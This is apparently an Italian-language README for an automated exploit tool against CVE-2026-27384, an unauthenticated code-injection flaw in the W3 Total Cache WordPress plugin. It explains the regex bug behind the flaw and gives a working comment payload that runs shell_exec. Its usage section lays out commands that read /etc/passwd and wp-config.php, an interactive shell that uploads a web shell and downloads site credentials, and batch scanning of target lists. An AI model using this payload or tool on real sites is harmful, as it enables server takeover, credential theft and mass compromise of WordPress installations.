
Scanner ed exploit automatico per CVE-2026-27384, una RCE non autenticata in W3 Total Cache tramite iniezione di mfunc/eval(). Caratteristiche: auto-rilevamento, 48 varianti di payload, shell interattiva e scansione batch.
Plugin: W3 Total Cache Plugin Slug:
w3-total-cacheCVE ID: CVE-2026-27384 CVSS Score: 9.8 (Critico) CVSS Vector:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTipo di vulnerabilità: Esecuzione arbitraria di codice non autenticata (Code Injection tramiteeval()) Versioni affette: <= 2.9.1 Versione corretta: 2.9.2 Data di rilascio: 24 febbraio 2026 Ricercatore: CODE WHITE GmbH
La funzionalità Dynamic Fragment Caching del plugin W3 Total Cache (sistema mfunc/mclude)
esegue codice PHP incorporato in commenti HTML tramite eval().
Il token W3TC_DYNAMIC_SECURITY, che dovrebbe proteggere questa funzionalità, può essere aggirato
grazie alla combinazione di più errori di codice.
Conseguenza: Senza autenticazione, è possibile eseguire codice PHP arbitrario sul server semplicemente inviando un commento WordPress.
| Campo | Valore |
|---|---|
| CVE ID | CVE-2026-27384 |
| CVSS | 9.8 Critico |
| Tipo | Code Injection → RCE (CWE-94) |
| Versione affetta | <= 2.9.1 |
| Versione corretta | 2.9.2 |
| Autenticazione | Non richiesta |
| Interazione utente | Non richiesta |
| Prerequisito | W3TC_DYNAMIC_SECURITY deve contenere metacaratteri regex |
La funzionalità Dynamic Fragment Caching di W3TC consente agli sviluppatori di incorporare codice PHP nell'HTML della pagina tramite tag di commento speciali:
<!-- mfunc SECURITY_TOKEN
echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->
W3TC elabora questi tag quando serve la pagina dalla cache:
il PHP incorporato viene eseguito tramite eval() e il suo output sostituisce il blocco di commento.
preg_quote() (PgCache_ContentGrabber.php)// VULNERABILE — 2.9.1
public function _parse_dynamic( $buffer ) {
$buffer = preg_replace_callback(
// ❌ W3TC_DYNAMIC_SECURITY viene aggiunto direttamente alla regex
// preg_quote() MANCANTE → il token viene interpretato come pattern regex
'~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
array( $this, '_parse_dynamic_mfunc' ),
$buffer
);
}
Se il token è '.', la regex diventa <!--\s*mfunc\s*.(.*)--> →
qualsiasi singolo carattere viene considerato come token.
\s* e \s+| Funzione | Pattern | Comportamento |
|---|---|---|
_parse_dynamic() — esegue | mfunc\s*TOKEN | Accetta 0 spazi ✅ |
strip_dynamic_fragment_tags_from_string() — pulisce | mfunc\s+TOKEN | Richiede almeno 1 spazio ❌ |
Payload attaccante: <!-- mfuncA php_code --><!-- /mfuncA -->
↑
NESSUNO SPAZIO tra mfunc e token
strip function: \s+ → non corrisponde → payload RIMANE
execution regex: \s* → corrisponde → eval() VIENE ESGUITO
_has_dynamic())// VULNERABILE — 2.9.1
public function _has_dynamic( $buffer ) {
// ❌ Solo controllo defined() — nessun controllo per empty() o metacaratteri
if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
return false;
}
return preg_match(
'~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
$buffer
);
}
W3TC_DYNAMIC_SECURITY = '.' (metacarattere regex — qualsiasi carattere)
│
▼
L'attaccante invia un commento:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
│
▼
strip_dynamic_fragment_tags_from_string()
Pattern: mfunc\s+[^\s]+ → richiede \s+, nessuno spazio → BYPASSATO ✅
│
▼
Il commento viene salvato nel database, la pagina viene memorizzata nella cache
│
▼
Seconda richiesta HTTP → W3TC serve dalla cache
_has_dynamic() → mfunc\s*. → 'A' corrisponde → restituisce true
│
▼
_parse_dynamic() → preg_replace_callback
Pattern: mfunc\s*. → 'A' corrisponde
│
▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
│
▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ RCE non autenticata ✓
Senza autenticazione, è possibile eseguire codice PHP arbitrario sul server con i permessi del web server:
git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt
requirements.txt
requests
beautifulsoup4
| Modalità | Descrizione |
|---|---|
auto | Scansiona il sito → trova la pagina dei commenti → sfrutta (predefinita) |
exploit | Exploit diretto — con URL del post |
shell | Shell interattiva |
detect | Solo rilevamento W3TC |
python w3tc_rce.py https://target.com
Lo scanner effettua:
# comando id
python w3tc_rce.py https://target.com \
--mode exploit \
--post-url https://target.com/?p=1 \
--cmd id
# Leggi /etc/passwd
python w3tc_rce.py https://target.com \
--mode exploit \
--post-url https://target.com/?p=1 \
--cmd "cat /etc/passwd"
# Leggi wp-config.php
python w3tc_rce.py https://target.com \
--mode exploit \
--post-url https://target.com/?p=1 \
--cmd "cat /var/www/html/wp-config.php"
# Post ID manuale
python w3tc_rce.py https://target.com \
--mode exploit \
--post-url https://target.com/ciao-mondo/ \
--post-id 1 \
--cmd whoami
python w3tc_rce.py https://target.com \
--mode shell \
--post-url https://target.com/?p=1
All'apertura della shell, vengono eseguiti automaticamente whoami, hostname, pwd, uname -a:
=================================================================
CVE-2026-27384 — W3TC mfunc Interactive Shell
URL : https://target.com/?p=1
Payload: b64_shell_exec (bypass='A')
=================================================================
User : www-data
Host : web01.target.com
PWD : /var/www/html
OS : Linux web01 5.15.0-91-generic #101-Ubuntu SMP
=================================================================
Comandi: exit | upload <local> <remote> | download <remote>
=================================================================
┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
[+] Upload: shell.php → /var/www/html/shell.php
┌──([email protected])
└─$ download /var/www/html/wp-config.php
[+] Download: wp-config.php → wp-config.php (4821 byte)
python w3tc_rce.py https://target.com --mode detect
[+] W3TC installato!
Versione : 2.9.1
Cache : True
[!] Versione 2.9.1 VULNERABILE (<= 2.9.1)!
python w3tc_rce.py --list targets.txt -t 10 -o risultati.txt
python w3tc_rce.py https://target.com \
--mode exploit \
--post-url https://target.com/?p=1 \
--proxy http://127.0.0.1:8080 \
-v